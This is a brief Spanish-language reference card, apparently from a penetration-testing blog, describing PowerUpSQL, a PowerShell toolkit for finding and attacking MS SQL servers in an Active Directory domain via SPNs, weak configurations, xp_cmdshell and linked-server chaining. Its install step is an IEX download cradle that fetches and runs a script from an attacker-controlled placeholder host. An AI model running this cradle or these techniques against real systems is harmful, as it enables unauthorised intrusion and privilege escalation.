PowerUpSQL
Descubre, audita y abusa de instancias MS SQL desde PowerShell.
Conjunto de cmdlets de PowerShell para atacar MS SQL desde dentro del dominio. Empieza por lo que ninguna otra hace igual de bien: `Get-SQLInstanceDomain` encuentra **todas** las instancias registradas en Active Directory por sus SPN, sin escanear un solo puerto. Con esa lista comprueba a cuáles se puede acceder con el usuario actual, audita configuraciones débiles y, con `Get-SQLServerLinkCrawl`, recorre los *linked servers* encadenados, que es como una instancia sin privilegios acaba ejecutando comandos como `sa` en otro servidor.
Familia Bases de datos
Flags Get-SQLInstanceDomain Invoke-SQLAudit Get-SQLServerLinkCrawl
Conceptos Command execution in MSSQL (xp_cmdshell), IMPERSONATE in MSSQL (EXECUTE AS LOGIN), MSSQL Linked Servers, Credential reuse
Cheatsheet MS SQL Server · 1433
Instalación
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerUpSQL.ps1')Comandos útiles
Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.